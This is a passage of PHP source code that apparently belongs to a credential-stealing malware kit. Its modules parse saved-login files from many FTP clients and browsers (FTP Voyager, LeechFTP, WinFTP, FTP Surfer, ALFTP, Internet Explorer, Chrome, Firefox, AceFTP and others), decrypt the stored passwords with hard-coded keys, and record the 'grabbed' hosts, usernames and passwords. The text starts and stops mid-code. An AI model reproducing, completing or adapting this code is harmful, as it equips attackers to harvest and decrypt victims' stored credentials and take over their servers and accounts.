STR_PAD_LEFT))); // bswap32 $result .= $v0.$v1; $encrypted_password = substr($encrypted_password, 8); $plain_text .= $v0[0]; } return ztrim($plain_text); } var $enable_advanced_processing_mode = false; private function read_ftp_item($stream, $log, $processing_mode = 0) { $record_ver = $stream->read_dword(); if (!$stream->state) return false; if ($record_ver != 72 && $record_ver != 73 && $record_ver != 74 && $record_ver != 75 && $record_ver != 67 && $record_ver != 54 && $record_ver != 61 && $record_ver != 62 && $record_ver != 70 && $record_ver != 69) { $log->add("ERR_UNK_FTPVOYAGER_VER: $record_ver"); return false; } if ($record_ver == 73) { $this->enable_advanced_processing_mode = true; } $stream->read_bytestring(); // item name $stream->read_bytestring(); // comment $host = $stream->read_bytestring(); // host $dir = $stream->read_bytestring(); // remote dir $user = $stream->read_bytestring(); // user $pass = $this->decrypt($stream->read_str()); // encrypted password $stream->read_skip(16); $stream->read_bytestring(); // another stored dir $stream->read_skip(8); $port = $stream->read_dword(); $stream->read_skip(28); $stream->read_dword(); // AccessibleFromPanel $stream->read_skip(4); $stream->read_bytestring(); // IncFilter $stream->read_bytestring(); // ExcFilter $stream->read_bytestring(); // ShortCut $stream->read_dword(); // ShortCutMode $stream->read_dword(); // AutoLoadingType $stream->read_skip(25); $stream->read_bytestring(); // LocalDir $stream->read_bytestring(); // Account $stream->read_skip(2); $stream->read_bytestring(); // UploadDir (seen in 54 versions only) $stream->read_skip(1); $stream->read_dword(); // UseFreeInterpretType $stream->read_dword(); // RequireID $stream->read_dword(); // RequirePass $stream->read_dword(); // ResumeSupport $stream->read_dword(); // FEATSupport $stream->read_skip(8); if ($record_ver > 54) { $stream->read_skip(4); } $stream->read_bytestring(); // Command if ($record_ver > 54) { $stream->read_dword(); // TimeZone $stream->read_skip(14); if ($record_ver > 69) $stream->read_skip(4); } $command_count = $stream->read_word(); if ($command_count > 0) { $command_ver = $stream->read_word(); if ($command_ver == 0xffff) { // no record type information, read it $stream->read_skip(2); $stream->read_skip($stream->read_word()); // CommandClass } for ($i = 0; $i < $command_count; $i++) { if (!$stream->state) break; if ($i > 0) $stream->read_skip(2); $stream->read_skip(4); $stream->read_bytestring(); // Command_Name $stream->read_bytestring(); // Command_Value $stream->read_skip(12); // Command flags } } $stream->read_dword(); // UnkFlag1 $stream->read_dword(); // UnkFlag2 $stream->read_dword(); // UnkFlag3 $stream->read_dword(); // DownloadRetryCount $stream->read_dword(); // UploadRetryCount $stream->read_skip(4); $protocol = $stream->read_dword(); // Protocol $stream->read_skip(16); // Write grabbed FTP $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 4), $port, $dir), $user, $pass); if ($record_ver > 61) $stream->read_skip(4); if ($record_ver > 62) $stream->read_skip(16); $stream->read_bytestring(); // ProxyName $stream->read_dword(); // ProxyPort $stream->read_bytestring(); // ProxyLogin $stream->read_bytestring(); // ProxyPass $stream->read_bytestring(); // ProxyDelimiter $stream->read_skip(40); if ($record_ver > 62) $stream->read_skip(24); if ($record_ver > 67) $stream->read_skip(6); if ($record_ver > 70) $stream->read_skip(2); if ($record_ver > 71) $stream->read_skip(8); if ($record_ver > 72) { if ($record_ver == 73 && $processing_mode !== 0) { $stream->read_skip(4); // Some 73 versions use different file formats (bugged even in native application) } else { $stream->read_skip(12); } } if ($record_ver > 73) { $stream->read_bytestring(); // Certificate } if ($record_ver > 74) $stream->read_skip(4); if ($record_ver > 67) { $plugin_count = $stream->read_word(); for ($i = 0; $i < $plugin_count; $i++) { if (!$stream->state) break; $stream->read_bytestring(); // Plugin } $stream->read_dword(); // UsePlugins } if ($record_ver >= 73) { $filter_count = $stream->read_word(); for ($i = 0; $i < $filter_count; $i++) { if (!$stream->state) break; $stream->read_bytestring(); // Filter } } else { $stream->read_skip(2); } $stream->read_skip(8); $sibling_count = $stream->read_dword(); while ($sibling_count && $stream->state) { if (!$this->read_ftp_item($stream, $log, $processing_mode)) return false; $sibling_count--; } return $stream->state; } private function process_ftp_file_twin($file_data, $quick_conn, $log, $processing_mode = 0) { if (!strlen($file_data)) return false; $stream = new stream_voyager($file_data, $log); if ($quick_conn) { return $this->read_ftp_item($stream, $log, $processing_mode); } $list_count = $stream->read_word(); if (!$stream->state) return false; if (!$list_count) return true; for ($i = 0; $i < $list_count; $i++) { if (!$stream->state) return false; $ftp_profile_type = $stream->read_word(); if ($ftp_profile_type == 0xffff) { // no record type information, read it $stream->read_skip(2); $stream->read_skip($stream->read_word()); // FTPProfileClass } if (!$stream->state || !$this->read_ftp_item($stream, $log, $processing_mode)) return false; } return true; } private function process_ftp_file($file_data, $quick_conn = false) { $this->enable_advanced_processing_mode = false; if (!strlen($file_data)) return false; $local_log = new debug_log(); $processing_result = $this->process_ftp_file_twin($file_data, $quick_conn, $local_log); if (!$processing_result) { if ($this->enable_advanced_processing_mode) { $local_log = new debug_log(); // reset log $processing_result = $this->process_ftp_file_twin($file_data, $quick_conn, $local_log, 1); } } $this->log->import_from($local_log); return $processing_result; } public function import_item($stream, $id) { switch ($id) { case 0x0000: // Site manager (bin files) $this->process_ftp_file($stream->read_str()); break; case 0x0001: // Quick connections $this->process_ftp_file($stream->read_str(), true); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Firefox 0.x-4.x class module_mozilla_base extends module { public function import_item($stream, $id) { switch ($id) { case 0x0000: $url = Utf8ToWin($stream->read_str()); if (strpos($url, ' (')) { $url = substr($url, 0, strpos($url, ' (')); } $user = Utf8ToWin($stream->read_str()); $pass = Utf8ToWin($stream->read_str()); if (str_begins($url, 'http://') || str_begins($url, 'https://')) { $this->add_http($url, $user, $pass); } else $this->add_ftp($url, $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } class module_firefox extends module_mozilla_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FireFTP class module_fireftp extends module { var $extra_params = array(); public function import_item($stream, $id) { switch ($id) { case 0x0000: $url = Utf8ToWin($stream->read_str()); if (strpos($url, ' (')) { $url = substr($url, 0, strpos($url, ' (')); } $user = Utf8ToWin($stream->read_str()); $pass = Utf8ToWin($stream->read_str()); if (substr($url, 0, 4) == 'ftp.') { $url = substr($url, 4); $url_orig = $url; $dir = ''; $port = ''; $protocol = ''; // newer versions store ftp host with assigned port, cut it as port is stored in fireFTPsites.dat configuration file if (strpos($url, ':') !== false) { $url = substr($url, 0, strpos($url, ':')); } foreach ($this->extra_params as $extra_param) { if (assign($extra_param['host']) == $url || assign($extra_param['host']) == $url_orig) { $port = assign($extra_param['port']); $dir = assign($extra_param['dir']); $protocol = assign($extra_param['protocol']); } } $this->add_ftp(append_port_dir(ftp_force_ssh($url, $protocol == 'ssh2'), $port, $dir), $user, $pass); } break; case 0x1000: $json_params = $stream->read_str(); $json_params = json_fmt_nice($json_params); $json_result = str_replace('"{account"', '{"account"', $json_params); $json_result = json_decode($json_result, true); if ($json_result !== null && is_array($json_result)) { foreach ($json_result as $param_array) { if (is_array($param_array)) { $host = assign($param_array['host']); $port = assign($param_array['port']); $dir = assign($param_array['remotedir']); $protocol = assign($param_array['protocol']); $host = Utf8ToWin($host); $port = Utf8ToWin($port); $dir = Utf8ToWin($dir); if (strlen($host)) array_push($this->extra_params, array('host'=>$host, 'port'=>$port, 'dir'=>$dir, 'protocol'=>$protocol)); } } } break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // SeaMonkey 1.x-2.x class module_seamonkey extends module_mozilla_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Flock 1.x-2.x class module_flock extends module_mozilla_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Mozilla Suite Browser 1.x class module_mozilla extends module_mozilla_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // LeechFTP 1.3 class stream_leechftp extends stream { function read_bytestring() { if (!$this->state) return false; $len = $this->read_byte(); if (!$this->state) return false; return $this->read_strlen($len); } function read_crypted_string() { $encrypted_string = $this->read_str(); if (!$this->state) return false; $CryptoKey = array(0x77, 0xc9, 0xf4, 0x35); for ($i = 0; $i < strlen($encrypted_string); $i++) { $encrypted_string[$i] = chr(ord($encrypted_string[$i]) ^ $CryptoKey[$i % count($CryptoKey)]); } return $encrypted_string; } } class module_leechftp extends module { private function read_ftp_item($stream) { $host = $stream->read_crypted_string(); // host $user = $stream->read_crypted_string(); // user $pass = $stream->read_crypted_string(); // pass $stream->read_crypted_string(); // bookmark name $stream->read_crypted_string(); // local dir $dir = $stream->read_crypted_string(); // remote dir $stream->read_crypted_string(); // bookmark secure password $port = $stream->read_word(); $stream->read_skip(11); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } private function read_ftp_dir($stream) { $dir_name = $stream->read_bytestring(); $stream->read_skip(0x100-1-strlen($dir_name)); // non-used dir_name padding $stream->read_skip(4); // recursion level dword $siblings = $stream->read_dword(); return $siblings; } protected function process_dat_file($file_data) { if (!strlen($file_data)) return false; $stream = new stream_leechftp($file_data, $this->log); if ($stream->read_bytestring() !== 'LeechFTP Bookmark File.'.chr(0x1a)) { $this->log->add('ERR_INVALID_LEECHFTP_DATFILE'); return false; } $dat_version = $stream->read_word(); if ($dat_version != 0x1005) { $this->log->add('ERR_INVALID_LEECHFTP_DAT_VERSION: 0x'.dechex($dat_version)); return false; } while ($stream->state && !$stream->eof()) { $siblings = $this->read_ftp_dir($stream); if (!$stream->state) break; while ($stream->state && !$stream->eof() && $siblings--) { $this->read_ftp_item($stream); } } return $stream->state; } public function import_item($stream, $id) { switch ($id) { case 0x0000: // bookmark.dat files $this->process_dat_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Odin Secure FTP Expert class module_odin extends module { protected function process_qfp_file($value) { if (!strlen($value)) return; while (strlen($value) > (0x104+0x38+0x32+0x32+0x104+12)) { ztrim(substr($value, 0, 0x104)); // site name $value = substr($value, 0x104); $url = ztrim(substr($value, 0, 0x38)); $value = substr($value, 0x38); $user = ztrim(substr($value, 0, 0x32)); $value = substr($value, 0x32); $pass = ztrim(substr($value, 0, 0x32)); $value = substr($value, 0x32); $dir = ztrim(substr($value, 0, 0x104)); $value = substr($value, 0x104); ztrim(substr($value, 0, 0x104+12)); // local dir $value = substr($value, 0x104+12); $this->add_ftp(append_dir($url, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_qfp_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // WinFTP 1.6.8 class module_winftp extends module { private function decrypt($encrypted_data) { $decrypted_data = ''; for ($i = 0; $i < strlen($encrypted_data); $i++) $decrypted_data .= chr((ord($encrypted_data[$i]) >> 4) | ((ord($encrypted_data[$i]) & 0xf) << 4)); return $decrypted_data; } private function read_site($stream) { $len = $stream->read_dword(); $site = $this->decrypt($stream->read_str()); $host = $this->decrypt($stream->read_str()); $user = $this->decrypt($stream->read_str()); $pass = $this->decrypt($stream->read_str()); $port = $stream->read_dword(); $dir = $this->decrypt($stream->read_str()); $note = $this->decrypt($stream->read_str()); $stream->read_skip($len-strlen($site)-strlen($host)-strlen($user)-strlen($pass)-strlen($dir)-strlen($note)-4*7); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } protected function process_dat_file($value) { if (strlen($value) <= 10) return; $stream = new stream($value, $this->log); $stream->read_skip(10); while ($stream->state && !$stream->eof()) { $this->read_site($stream); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_dat_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTP Surfer 1.0.7 class module_ftp_surfer extends module { private function decrypt($encrypted_data) { if (strlen($encrypted_data) <= 6) return ''; $crypt_word = substr($encrypted_data, 4, 2); $crypt_word = hextostr($crypt_word); if ($crypt_word === false) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } $crypt_word = ord($crypt_word[0]); $encrypted_data = substr($encrypted_data, 0, 4).substr($encrypted_data, 6); $subst_array = '3A72C81FD94E650B-'; $magic = 0; for ($i = 0; $i < strlen($encrypted_data); $i++) { if ($i == 4 || $i == 0) { $magic = $crypt_word; } $magic = hexdec(gmp_strval(gmp_and(gmp_add(gmp_mul("$magic", "0x343FD"), "0x269EC3"), "0xffffffff"), 16)); $rand_result = ((($magic >> 16) & 0x7fff) & 0xf); if ($encrypted_data[$i] == 'G') $encrypted_data[$i] = '-'; $pos = strpos($subst_array, $encrypted_data[$i])+1; if ($pos === false) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } $pos -= $rand_result; if ($pos < 0) $pos += 17; $encrypted_data[$i] = $subst_array[$pos-1]; } $result_len = hexdec(substr($encrypted_data, 0, 4)); $encrypted_data = substr($encrypted_data, 4); // cut password length $result = hextostr($encrypted_data); // hex-decode decrypted password data if ($result === false) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } if (strlen($result) != $result_len) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } return $result; } private function read_param($stream, &$id, &$data) { /* @var $stream stream */ $id = $stream->read_dword(); $stream->read_dword(); // item type $data = $stream->read_str(); return 4+4+4+strlen($data); } protected function process_dat_file($value) { if (strlen($value) <= 0x25) return; $stream = new stream($value, $this->log); $file_ver = ztrim($stream->read_strlen(0x25)); if ($file_ver != 'C87BC961-AAF9-11d2-8A80-0080ADB32FF4') { $this->log->add('ERR_INVALID_FTP_SURFER_DB_FILE'); return; } while ($stream->state && !$stream->eof()) { $len = $stream->read_dword(); $host = ''; $user = ''; $pass = ''; $dir = ''; $port = ''; while ($stream->state && $len > 0) { $id = ''; $data = ''; $len -= $this->read_param($stream, $id, $data); switch ($id) { case 3: $host = $data; break; case 5: $user = $this->decrypt($data); break; case 6: $pass = $this->decrypt($data); break; case 7: $dir = $data; break; case 8: $port = $data; break; } } $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_dat_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTPGetter 3 class module_ftpgetter extends module { protected function read_xml_item($xml_array) { $host = Utf8ToWin(assign($xml_array['server_ip'])); $user = Utf8ToWin(assign($xml_array['server_user_name'])); $pass = Utf8ToWin(assign($xml_array['server_user_password'])); $port = Utf8ToWin(assign($xml_array['server_port'])); $protocol = assign($xml_array['protocol_type']); $this->add_ftp(append_port(ftp_force_ssh($host, $protocol == '3'), $port), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } protected function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strval($key) == 'server') $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } protected function process_xml($value) { if (!strlen($value)) return; $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // ALFTP 5 class module_alftp extends module { private function decrypt($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $encrypted_password = int3tostr($encrypted_password); $c = 0x12; for ($i = 0; $i < strlen($encrypted_password); $i++) { $k = ord($encrypted_password[$i]); $encrypted_password[$i] = chr(ord($encrypted_password[$i]) ^ ($c >> 8)); $c = _BF_ADD32($k, $c); $c = _BF_ADD32($c, $c); $c = _BF_ADD32($c, 4); } return $encrypted_password; } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section_name=>$section) { if (!is_array($section)) continue; $host = assign($section["url"]); if (!strlen($host)) $host = $section_name; $user = assign($section["id"]); $pass = assign($section["encrypt_pw"]); if (!strlen($pass)) { $pass = assign($section["pw"]); } $pass = $this->decrypt($pass); $dir = assign($section["homedir"]); $port = assign($section["port"]); $protocol = assign($section["protocol"]); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '1'), $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_ini_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // IE4-IE6 class module_ie extends module { // FTP and Basic Auth // FTP passwords ($item_name contains ftp://) are always unicode, stored in $item_value // Basic Auth passwords are stored as ansi values in $item_value (user:pass string) protected function process_ftp_item($item_name, $item_value, $is_ie7 = false) { if (!strlen($item_name) || !strlen($item_value)) return; if ($is_ie7) { // IE7+ ansi names $item_name = ztrim($item_name); } else { // IE4-6 unicode names $item_name = Utf8ToWin(unicode_to_utf8(ztrim_unicode($item_name))); } $item_name = str_replace('DPAPI: ', '', $item_name); $item_name = str_replace('Microsoft_WinInet_', '', $item_name); if (str_begins($item_name, 'ftp://')) { // IE4-6 ftp passwords $item_value = Utf8ToWin(unicode_to_utf8(ztrim_unicode($item_value))); $this->add_ftp($item_name, '', $item_value); } else { // Basic Auth passwords if ($is_ie7) { // IE7+ values are stored as unicode $item_value = Utf8ToWin(unicode_to_utf8(ztrim_unicode($item_value))); } else { // IE4-6 values are stored as ansi $item_value = ztrim($item_value); } if (strpos($item_value, ':') !== false) { list($user, $pass) = explode(':', $item_value, 2); $this->add_http($item_name, $user, $pass); } } } protected function check_ps_index($data) { if (!strlen($data)) return false; $stream = new stream($data, $this->log); // WICK if ($stream->read_dword() != 0x4b434957) { $this->log->add("ERR_INVALID_PS_INDEX_HEADER"); return false; } $stream->read_dword(); // index size $str_num = $stream->read_dword(); $stream->read_skip(12); // flags + alignment if (($str_num * (4+8+4) + 24) != strlen($data)) { return false; } return $stream->state; } protected function read_ps_data($url, $index_data, $ps_data) { if (!strlen($index_data) || !strlen($ps_data)) { return; } if (!$this->check_ps_index($index_data)) { $this->log->add("ERR_INVALID_PS_INDEX"); return; } $stream_index = new stream($index_data, $this->log); $stream_index->read_skip(8); $str_num = $stream_index->read_dword(); $stream_index->read_skip(12); // flags + alignment $count = 0; $prev_str = ''; while ($stream_index->state && $str_num--) { $str_ofs = $stream_index->read_dword(); $stream_index->read_skip(8); $str_len = $stream_index->read_dword(); $str = substr($ps_data, $str_ofs, $str_len*2+2); $str = Utf8ToWin(unicode_to_utf8(ztrim_unicode($str))); if (($count % 2) == 0) $prev_str = $str; else { if (str_begins($url, 'http://') || str_begins($url, 'https://')) $this->add_http($url, $prev_str, $str); } $count++; } } protected function process_ps_data($url, $data) { if (!strlen($data)) return; $url = Utf8ToWin(unicode_to_utf8(ztrim_unicode($url))); if (!strlen($url)) return; $stream = new stream($data, $this->log); $stream->read_skip(4); $index_len = $stream->read_dword(); $stream->read_skip(4); $index_data = $stream->read_strlen($index_len); $ps_data = $stream->read_strlen(strlen($data)-12-$index_len); if (!$stream->state) return; $this->read_ps_data($url, $index_data, $ps_data); } protected $ps_list_index = array(); protected $ps_list_data = array(); protected function push_ps_value($name, $value) { if (!str_begins($name, 'http://') && !str_begins($name, 'https://')) return; $pos = strpos($name, ':StringData'); if ($pos !== false) { $name = substr($name, 0, $pos); $this->ps_list_data[$name] = $value; } else { $pos = strpos($name, ':StringIndex'); if ($pos !== false) { $name = substr($name, 0, $pos); $this->ps_list_index[$name] = $value; } } if ($pos !== false && isset($this->ps_list_index[$name]) && isset($this->ps_list_data[$name])) { $this->read_ps_data($name, $this->ps_list_index[$name], $this->ps_list_data[$name]); } } protected function process_ie6($name, $value) { if (!strlen($value)) return; $name = Utf8ToWin(unicode_to_utf8(ztrim_unicode($name))); if (!strlen($name)) return; $this->push_ps_value($name, $value); } public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0001: // forms & auto complete IE4-6 $item_name = $stream->read_str(); $item_value = $stream->read_str(); $this->process_ie6($item_name, $item_value); break; case 0x0002: // ftp & basic auth $item_name = $stream->read_str(); $item_value = $stream->read_str(); $this->process_ftp_item($item_name, $item_value); break; case 0x0003: // IE7 forms $url = $stream->read_str(); // url $value = $stream->read_str(); // ps_value $this->process_ps_data($url, $value); break; case 0x0004: // IE7 basic auth + ftp $item_name = $stream->read_str(); $item_value = $stream->read_str(); $this->process_ftp_item($item_name, $item_value, true); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Dreamweaver CS5 class module_dreamweaver extends module { public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0010: $host = $stream->read_str(); $stream->read_str(); // Linked URL: http://... $dir = $stream->read_str(); $user = Utf8ToWin($stream->read_str()); $pass = Utf8ToWin($stream->read_str()); if (($id & 0x10) > 0) $is_ssh = $stream->read_dword(); else $is_ssh = 0; $this->add_ftp(append_dir(ftp_force_ssh($host, $is_ssh == 1), $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // DeluxeFTP 6 class module_deluxeftp extends module { protected function read_xml_item($xml_array) { $host = utf8_decode(assign($xml_array['ADDRESS'])); $user = utf8_decode(assign($xml_array['LOGIN'])); $pass = utf8_decode(assign($xml_array['PASSWORD'])); $port = utf8_decode(assign($xml_array['PORT'])); $dir = utf8_decode(assign($xml_array['REMOTEPATH'])); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } protected function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strval($key) == 'SITE') $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } protected function process_xml($value) { if (!strlen($value)) return; $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $xml_file = $stream->read_str(); $this->process_xml($xml_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Google Chrome class module_chrome_base extends module { protected function process_chrome_item($stream) { $encoding = $stream->read_dword(); $url = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); if ($encoding == 1) { if (str_begins($url, 'http://') || str_begins($url, 'https://')) $this->add_http(Utf8ToWin($url), Utf8ToWin($user), Utf8ToWin($pass)); else $this->add_ftp(Utf8ToWin($url), Utf8ToWin($user), Utf8ToWin($pass)); } else { $this->log->add("ERR_INVALID_SQLITE_ENCODING"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_chrome_item($stream); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } class module_chrome extends module_chrome_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Google Chromium & SRWare Iron class module_chromium extends module_chrome_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // ChromePlus class module_chromeplus extends module_chrome_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Bromium class module_bromium extends module_chrome_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Nichrome class module_nichrome extends module_chrome_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Comodo Dragon class module_comododragon extends module_chrome_base { } // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Comodo Dragon class module_rockmelt extends module_chrome_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // K-Meleon class module_kmeleon extends module_mozilla_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Epic class module_epic extends module_mozilla_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Staff-FTP class module_staff extends module { private function decrypt($encrypted_password) { $k = 1; $decrypted_password = ''; for ($i = 0; $i < int_divide(strlen($encrypted_password), 2); $i++, $k++) { $decrypted_password .= chr((ord($encrypted_password[$i*2]) >> 1) + ord($encrypted_password[$i*2+1]) - $k); } return $decrypted_password; } protected function process_ini($ini_contents) { $parsed_ini = parse_ini($ini_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["host"]); $user = assign($section["login"]); $pass = $this->decrypt(assign($section["password"])); $port = assign($section["port"]); $dir = assign($section["remote path"]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ini_contents = $stream->read_str(); $this->process_ini($ini_contents); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // AceFTP class stream_ace extends stream { function read_ace_str() { if (!$this->state) return false; return $this->read_strlen($this->read_byte()); } function read_ace_data() { if (!$this->state) return false; return $this->read_strlen($this->read_dword()); } function read_ace_uni_str() { if (!$this->state) return false; return $this->read_strlen($this->read_dword()*2); } function read_data(&$l) { $item_type = $this->read_byte(); if (!$this->state) return ''; $l = true; switch ($item_type) { case 0: // List End $l = false; break; case 1: // List Start $x = true; $out = array(); while ($this->state) { $list_value = $this->read_data($x); if (!$x || !$this->state) break; array_push($out, $list_value); } return $out; break; case 2: return $this->read_byte(); break; case 3: return 